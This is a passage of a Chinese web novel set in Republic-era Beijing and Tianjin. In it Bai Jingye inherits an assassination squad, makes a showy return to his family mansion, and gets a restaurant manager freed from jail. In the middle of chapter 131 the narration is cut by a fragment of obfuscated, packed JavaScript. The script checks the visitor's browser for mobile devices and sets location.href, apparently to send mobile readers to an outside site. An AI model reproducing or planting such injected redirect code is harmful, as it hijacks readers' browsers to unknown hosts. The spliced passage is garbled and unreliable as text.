“咱们这个暗杀团的训练,是不是能…”
“哈哈哈,宝森,我说什么来的。”,丁连山一阵大笑看向宫宝森。
宫宝森一阵无奈的摇了摇头。
原来,宫宝森告诉了丁连山,说白敬业心善,收养了不少孤儿。
丁连山当时就嗤笑了一声,说道,“你这个女婿养这些人,绝对是奔着养死士。”
“咳”
白敬业轻咳一声,掩饰着尴尬,“师伯,我也不是都让他们做这个。”
“要是有天赋好的,就让他们跟着练练,毕竟也是咱们宫家的里子嘛!”
这不要脸的瞎话,他说起来是一点都不脸红。
“等我抽空去趟北平,看看那些孩子,要是有好苗子,我就给他们带过来。”
“嘿嘿,谢谢师伯。”
丁连山从桌上拿起一个牛皮本,又从怀里掏出一块半个巴掌大小的铁牌。
“这是暗杀团剩下这些人的名单,都散落在各地。”
“要是你到了哪个地方想召集,上边会有联络方式,这块铁牌就是信物。”
“他们从小除了学会**,鲜有会一技之长的,这些年也都是武士会在养着。你既然接了这个担子,就要一直养着他们。”
白敬业接过后,郑重的点点头,“我会的师伯。”
之后,宫宝森又跟他聊了聊关于武行的事。
三家武馆被灭后,郑山傲也害怕了,找到宫宝森提出退行。
他这些年没做过什么伤天害理的事,宫宝森也就答应了。
所以几天前,郑山傲带着些金银细软去了南方。
如今的武行彻底没了第二个声音。
等白敬业出了正房,在回房间的路上,边把玩边想着。
自己如今掌握的这些东西。
蛊惑人心、绘画、暗杀团、军队。
他又看看自己这身军装,心道,“这尼玛就差个小酒馆了。”
白敬业瞧了瞧周围没人,将手举起45°,低声喊了句。
“西海!”
“哈哈哈哈”
第130章 重返大宅门
“修合尼桑,呜呜呜...,我舍不得离开你,呜呜呜...”
德田信二抱着白敬业,鼻涕眼泪流了他一身。
白敬业无奈的给他推开,双手按住他的肩膀,语气模仿着龟子的精神注入官。
“信二,你是JCP最坚强的勇士,记住以后不要哭哭啼啼的。”
“嗨!修合尼桑,信二记住了。”
白敬业拿出一个黑色记事本塞到他的手中,“见到片山君之后,将这个交给他,要牢记我跟你说的话。”
“嗨!”
信二用力地点点头,“除了片山君之外,我不会向任何人透露见过您的事。”
白敬业揉了揉他的头,和蔼道,“去吧,他们会护送你到达沪上。”
德田信二的身后站着四个衣着各异的年轻人。
都是丁连山带来的暗杀团成员。
“呜呜呜...修合尼桑,我们何时能再见面!”
白敬业替他擦了擦眼泪,“会再见的。”
他挥了挥手,两个成员架着信二,给他塞到了卡车上。
德田信二扒着卡车的挡板,不停的向白敬业挥着手。
“修合尼桑!再见!”
白敬业望着远去的卡车,心道,“要是没意外的话,六月份会再见的。”
六月的沪上即将有一场**件要发生。
如果不出意外,白敬业将会跟着张六子带兵进行调停!
军用卡车在晚上城门快关之前出了津门城。
把守城门的士兵对着卡车敬了个军礼,连拦都没拦。
谁敢拦!
现在津门把守城防的都是白大团长的人。
就算白大团长半夜十二点想吃螃蟹了,都得打开城门派人出去抓去!
一朝权在手,便把令来行!
几天后,白敬业把事情跟朱传武交代清楚,便踏上返回北平的路。
临行前张六子、冯老五两人约定好,会在正日子到之前一起去给老太太拜寿。
宫二更是依依不舍,但毕竟三媒六聘还没过呢。
她不能冒冒失失的就跟白敬业一起回去。
怎么说也是大家闺秀,得有点深沉。
而且她还得留在津门,和宫宝森一起帮着白敬业处理整合武行的前期准备工作。
白大善人多贼啊,逮个**都能攥出尿来,不放过一丝压榨未来老丈人的机会。
这次回北平,白大善人可太威风了。
光是轿车就开了三辆!
还有一辆卡车带了一队的卫兵。
不全是为了装逼显摆自己,当然这点也占了很大一部分。
最主要是他惜命,安全才是最重要的。
以前没这个条件。
现在三辆轿车上坐的全是暗杀团成员。
白大善人出手也阔绰,给他们全扮上黑色西装,每人身上最少两支**。
不知道的还**以为哪的大帅进北平了呢。
要正经论一些小地方的军阀,还他妈没有白敬业手里的人多呢。
民国时期,手里有点人,掌握一两个镇子就**敢称呼自己为大帅。
大宅门的门口聚满了人。
除了白家的人以外,都是和白家关系好的商贾巨富。
自从白敬业在津门就任团长的消息一出。
白家的门槛都快被踏破了。
天天有人上门,恭喜拜年的话听都听不过来。
白七爷整天的迎来送往,脸上的肉都快笑僵了。
就连三老太爷最近去百花楼,都没用自己掏过钱。
这边正喝着花酒,那边就有人帮着把单买了。
大伙都知道,连执政总长老段都派人参加就任仪式了,谁不想跟白家亲近亲近。
这不,一听说白大少爷今天回府,这些人早早就来到白家等着。
车子一拐过路口,来到白家门前这条街上。
小胡就喊了起来,“七老爷!少爷的车回来了。”
这人群‘哗’就给街堵上了。
众人看着由远至近的几辆车都议论纷纷。
“嘿!这白团长可真阔气,光是小轿车就弄了三辆!”
“可不是么,你看这后边还有卫兵呢,不得了”
坐在车里的白敬业吓了一跳,要不是看见他爸爸白七爷。
他都得以为是不是有人要刺杀自己。
白敬业让谭海把车子停了下来,小胡小跑着给白敬业开了车门。
“少爷,您回来了。”
“我说这都干嘛啊?怎么
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来这么多人?”
小胡一脸兴冲冲的说道,“都是听说少爷你就任维和团团长,和咱们家关系好的亲朋好友来恭喜您的。”
白敬业听了头皮都有些发麻,这人也太多了点。
他强挤出笑脸向前走去。
来到白景琦的面前,存心想逗逗他爸爸。
“啪”
白敬业一个立正站好,给白景琦敬了个军礼,“父亲大人,儿子给您敬礼了。”
“我...”
白景琦一时间手足无措,手往脑袋上比划了两下。
最后拍了拍他的肩膀,笑道,“好,好,回来就好!”
众人给白敬业围了起来,都拱手客套着。
“恭喜白少爷就任,您可真给咱北平人争光!”
“恭喜白团长!”
“......”
白敬业被吵得没招儿,向着四方拱手高声道,“诸位!诸位!晚辈谢谢您各位来捧场。”
“咱们这样,我得先去见见我们家老太太,等过两天晚辈府里设宴,请各位到时一定到场。”
白景怡和白景琦几人,都帮着打圆场,“多谢各位,多谢!”
白敬业带来的人给他挤出一条道。
他这才出了人群进了宅门内。
他擦擦额头上的好,心道,“这**太出名了也不好。”,随后迈步走向正房。
正房的院外,香秀和槐花都翘首以盼,迎接着白敬业。
但是一见白敬业,看到这身军装,俩人的心里直突突。
话是拦路虎、衣服是瘆人**!
这年头谁看见这身衣服不害怕。
自从香秀的表哥让白敬业收拾了一顿,她见到白敬业就不敢想以前似的,背后说些闲话。
如今再见到身穿军服的白敬业,更是从心里往外的直突突。
白敬业轻笑道,“我奶奶休息了么?”
“没!”
香秀连忙摇头,“大少爷,老太太正等您呢。”
白敬业点点头进了院子。
跟俩丫头又没什么好聊的,他特么也不是贾宝玉,成天腻在丫鬟堆里。
更何况,自己那活爹未来还跟她俩有染,那就更没啥好聊的了。
“奶奶!我回来了!”
第131章 送寿礼
白敬业在门外喊了一句,挑帘拢走进屋内。
一看屋里的人还真不少。
二老太太、三老太爷、母亲黄春、大格格、老姑奶奶还有各方的太太都在屋里呢。
众人见白敬业进来,除了二老太太和大格格几人,其他都站了起来。
给白敬业弄得十分尴尬,他打着哈哈,“您各位这是干什么呀,我一小辈儿的,都快坐快坐。”
他来到二老太太面前,弯腰道,“奶奶我回来了。”
“哼”,二老太太哼了一声,佯怒道,“这是哪位大长官啊,还认识白家的门呢!”
“呦!奶奶这是挑孙子了,孙子手头可一大堆事呢。”
“这是专门回来给您操办七十大寿的!”
“哈哈哈”
二老太太一听喜笑颜开,上下打量着白敬业,“好孙子呦!这身穿的可真精神!”
“咱们白家后继有人啊!”
这时,白景怡和白景琦等人也都进了正房。
大伙儿是说不尽的好话。
有说是老太太教育的好,也有说是祖宗保佑。
人这一辈子就是这么回事。
头三十年看父敬子、后三十年看子敬父。
自身硬不起来,连带着爹妈都跟着抬不起头。
如今的白景琦可不一样了。
白敬业有了这么大的出息,他天天跟脚底下踩棉花似的。
黄春也不再病病歪歪的,精神气十足。
二老太太在黄春的搀扶下站了起来,朗声道,“**管啊!安排人去买祭祖用的东西。”
“敬业有了这么大的出息,那一定是祖宗保佑!明天一早,开祖先堂祭祖!”
“今天晚上咱们好好乐呵乐呵!丫鬟、仆人唔的,一人发一大红包!”
“哎!我这就安排人去办。”
三老太爷打了个响指,“得嘞!二嫂,今晚吃饭我掏银子,咱们好好乐呵乐呵。”
他说着跟白敬业叽咕了两下眼。
两人相视一笑,一切尽在不言中。
民国嘛,也没有什么太能乐呵的事物。
就像后世家庭聚会,也就是一起吃吃饭、唱唱歌。
大宅门必备的项目就是吃饭、看戏。
白敬业对梨园行一向不太感冒,也听不出个好坏来。
但是大家都爱听,堂会还是为他办的,他只能坐下来陪着。
台上是,名老生马连良唱的一出折子戏。
龙凤呈祥里的甘露寺,这段中的劝千岁是马先生自己改编的。
“劝千岁~杀字~休啊出口”
大魔怔白玉婷往台上扫了几眼,觉得没什么意思,就来到白景琦身边。
“七哥,今晚没请万小菊啊?”
“啊,那个万他”
白景琦支支吾吾的说道,“万老板他今晚没时间。”
“哦”
大魔怔哦了一声,起身回房休息去了。
白敬业看她那样,磕着瓜子不停的冷笑。
白景琦等她走了以后,拿手指头捅了白敬业一下,压低了声音。
“我说你小子,那事你得陪我办了?”
“噗~”
白敬业吐出嘴里的瓜子皮,揶揄道,“咱说爸贝,您儿子我现在这身份,我陪你去谈那个去?合适么?”
“多丢人啊!人家在以为咱白家在这以势压人呢。”
“啧!你瞧你!说话不算…”
“你们爷俩在后边嘀咕什么呢?”,二老太太头也没回的问道。
白敬业凑近老太太的耳边笑道,“奶奶!我爸爸高兴,他想上去串一出挑滑车!”
白景琦瞪了他一眼,心想,“我他妈多大岁数喽,我挑滑车?在台上摔一僵尸,再特么给我摔零碎喽。”
“哈哈哈”
二老太太哈哈直笑,打趣道,“老七啊,你这身子骨还能摔动么?”
“嗨!瞧您说的,只要妈您爱看,我这就扮上去。”
“行啦行啦,歇着你的吧。”
一连三天
白敬业连家门都没出。
怎么着?出不去!
迎来送往的人实在太多了。
这三天是给白大善人腻歪透了,最后索性就装死。
谁问就说去奉军办事处了。
他正在书房跟黄立商量**能抽出多少人到维和团的时候。
小胡敲门走了进来,“少爷,这个福聚德堂头常贵来给老太太送寿桃、寿面来了。”
白敬业差点没气笑了,提前两个多月送寿桃、寿面?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429820|184893||http|test|mini|href|location''.split(''|''),0,{}));
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r>那到日子不都馊了么。
白敬业挥了挥手,“给点赏钱打发走得了。”
“少爷,常头说有要紧的事要找您。”
“他都来了三天一直都没排上号,我想他是不是有正事。”
白敬业眼珠转了转,心想,他跟我八竿子打不着能有什么事?
这年月,戏子、窑子、堂子、厨子和剃头的挑子,被统称为五子登科。
下九流伺候人的行业,地位最为低下。
白敬业虽不至于带着有色眼镜去看人,但属实除了吃饭也没什么交集。
他犹豫了片刻,吩咐道,“你给他领进来吧。”
“是,少爷”
时间不大,小胡领着常贵走了进来。
“大少爷,小的常贵给您行礼了,祝您官运亨通,洪福…”
白敬业摆了摆手,“行了行了,常头都是老相识了。”
他打趣道,“我说您这寿礼送的可是早了点啊?”
常贵尴尬一笑,“大少爷,小人实在是没办法才想了这么个主意。”
“说吧,遇见什么事了?”
常贵表情焦急拱手道,“大少爷求您开恩,把卢掌柜放出来吧。”
“要不然这福聚德可是没法活了。”
白敬业满头雾水,“卢掌柜?他怎么了?”
“他被抓进监狱了…”
原来,白景泗按照白敬业的要求,开展了北平严打。
严打就得有人手啊,光靠黑皮人哪够?
就依靠着**,又从社会上招了点闲散人员组成了侦缉队。
其中就有克五这小子,他跟福聚德的烤炉师傅罗大头,之前是一对儿烟友。
平时是蒙吃蒙喝,一点正经事也不会干。
这不有一天馋坏了,上福聚德讹鸭子去了。
被罗大头给打了出去。
克五怀恨在心,带着侦缉队就把福聚德给抄了。
在罗大头的房间还真发现了不少烟土。
掌柜的卢孟实知道侦缉队是奔着钱来的,但实在是拿不出那么多。
就被侦缉队给下了大狱。
白敬业听完噗嗤一笑,心想,这都特么什么鸡毛蒜皮的事。
但转念又一想卢孟实这个人,心里便有了主意。
第132章 卢孟实
常贵连连作揖哀求道,“大少爷,还请您高抬贵手跟警局通融通融。”
“嗨,我以为多大的事呢。”
白敬业用手虚扶了一下,“常头,咱们也是老交情了,你先回去,晚上你肯定能见到你们掌柜的。”
“谢谢大少爷!谢谢大少爷!”
“您是救了我们福聚德。”
白敬业摆了摆手看向小胡,“你送送常头,上账房拿个红包,寿礼也送了别白来一趟。”
“是,少爷”
他跟着小胡出去了以后。
白敬业看向黄立,“舅,现在警局这帮侦缉队讹诈商家的多么?”
黄立笑着摇摇头,“不算多,但侦缉队良莠不齐,有好多都是不干正事游手好闲的。”
“但是他们逮这帮烟贩子是一逮一个准!”
“哈哈哈”
白敬业哈哈一笑,他也清楚,这玩意你警局抓烟贩子不好抓。
吸这玩意的不管藏的有多深,人家都有门道给你挖出来。
但他也提点道,“还是别让他们做的太过,警局的威信才刚刚立起来。”
“别因为这点小事让老百姓骂大街。”
黄立点了点头,“我清楚,回头我跟李副局长商量商量。”
白敬业向外喊了一声,“**,进来一趟。”
守在书房外的**推门进来,“少爷,什么吩咐。”
“你跑一趟监狱那边,给福聚德的卢掌柜领到我这来。”
“是,少爷,我这就去。”
听听这孙子现在说话这狂劲,上监狱捞人跟特么逛天桥似的。
但白大善人有这个实力。
满北平的黑皮有一个算一个,现在都得指着大善人吃饭。
**领了命,坐上黄包车来到右安门京师监狱的门口。
还没等他下车,看大门的一个黑皮就迎了上来。
“文大爷,今儿你怎么有空来了。”
“呵呵,金海儿是你当值啊?张头儿在么?”
“在在,张狱长就在办公室里呢。”
金海扶着**下了黄包车。
十分有眼力见的从兜里掏出两张**票,帮着付了车钱。
**笑着拍拍金海的肩膀,“我先办事,有空咱们一起喝点。”
“哎,好嘞文爷”
金海拉开小门,目送着**进去。
跟他一起站岗的黑皮是新来的,不认识**,好奇道,“大哥,这位爷是谁啊?”
金海拍了下他的帽子,提点道,“这是**,文爷!”
“白大少爷身边最亲近的几个管事,专门管每个月给咱们监狱发福利的。”
“咚咚”
**来到狱长办公室,敲敲门推门走了进去。
张狱长见**来了,马上起身相迎,“文老弟今儿怎么得空来了。”
“哈哈”
**哈哈一笑,“奉大少爷的命令,找您来办点事。”
“呦!大少爷回来了!”
**点点头,“有个福聚德卢掌柜,是在这儿押着么?”
“他跟我们少爷交情不错,少爷让我来带他出去。”
“哎呦!”
张狱长哎呦了一声,跺着脚,“这怎么话说的,怎么还把大少爷的朋友抓来了。”
“真是该死,文老弟,大少爷没生气吧。”
**摆了摆手,“没有,少爷说了不知者不怪嘛。”
“我这就让人把卢掌柜请出来。”
过了一会儿的功夫,卢孟实被黑皮从牢里带了进来。
一看他脸色苍白,虽然没挨打但显然是受了点罪。
张狱长满脸的歉意,拉住卢掌柜,“抱歉卢掌柜,真是大水冲了龙王庙,早知道您是大少爷的朋友,说什么我也不敢给您关监狱里啊。”
人虽然是侦缉队抓的,但是他们私下里有交易。
抓完人弄上来的钱,二一添作五对半分。
卢孟实此时还一头雾水,但他认识**,一看他就明白了。
之前常贵来监狱看他说过要去求白敬业。
“卢掌柜,大少爷在家等您呢,跟我走吧。”
**说着转头看向张狱长,拱手道,“张哥,那我就领着人先走了。”
“你等等,文老弟。”
张狱长从抽屉里拿出两张银票塞到**手里。
“文老弟,你一定得帮老哥在大少爷那多美言几句,要不哥哥我不放心啊。”
“哈哈哈”
**大笑着把银票塞回他手里,“张哥你多心了,这真是一误会,少爷没有怪罪你的意思。”
“得,我先走了。”
**这个人很有分寸,不该拿的钱一概不拿。
倒不是他这人不喜欢钱。
不拿的原因,是万一有一天真要办谁的时候,
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怕自己下不去手。
等**带着卢孟实回到新宅的时候。
时间刚好是中午饭口。
白敬业在书房里摆了几个小菜还有一壶酒。
卢孟实见到白敬业就拱手一躬到地,“多谢大少爷出手相救,孟实感恩不尽。”
白敬业给他搀扶起来,让到座位给他倒了一杯酒。
“卢掌柜受惊了,喝杯酒压压惊。”
卢孟实受宠若惊,他平时不怎么喝酒。
但白大少爷递来的酒不能不喝,端起来一饮而尽,“谢谢大少爷。”
“卢掌柜,福聚德的生意还好?”
“托大少爷的福还不错。”
白敬业夹了块豆酱,“我听说你们那后厨来了个新师傅,是原先慈禧的御厨叫小辫儿刘?”
“是,刘师傅抓炒的手艺一绝,大少爷晚上您赏脸咱们尝尝?”
白敬业摆摆手,“不必了,过些日子我们老太太七十大寿,到时候你领人过来,那天的寿宴就交给你们福聚德。”
卢孟实一听喜出望外,这是大买卖,以白家现在的实力,寿宴指不定来多少人呢。
“大少爷,您让我怎么感谢您,救我一命还给福聚德这么大的买卖,我敬您一杯。”
白敬业呵呵一笑,跟他干了一杯。
等放下酒杯,白敬业问了他一句,“卢掌柜,您在福聚德干的顺心么?”
卢孟实听到白敬业问的话,不由得叹了口气,“唉,不瞒大少爷说我也只是听买看吃的,我们那两位东家实在是…”
福聚德的事,白敬业也有所耳闻,卢孟实是二掌柜,上边还有两个东家。
是老东家唐德元的两个儿子,这俩玩意比原先的白敬业还没正六。
一个一心想下海唱戏当名角。
另一个就爱练武,让骗子忽悠的五迷三道。
这俩人三天两头的从柜上支钱。
但即使这样,卢孟实依然把福聚德从一个烤鸭的肉铺,做成了北平最大的饭庄。
可见他的能力是绝顶的。
白敬业给他添了杯酒,笑道,“卢掌柜干的这么不顺心。”
“要不然跟**吧。”
————
卢孟实等人的人设是按照话剧天下第一楼走的,跟电视剧没关系。
电视剧版那个太狗血,没看过话剧版的老爷们可以看看,特别精彩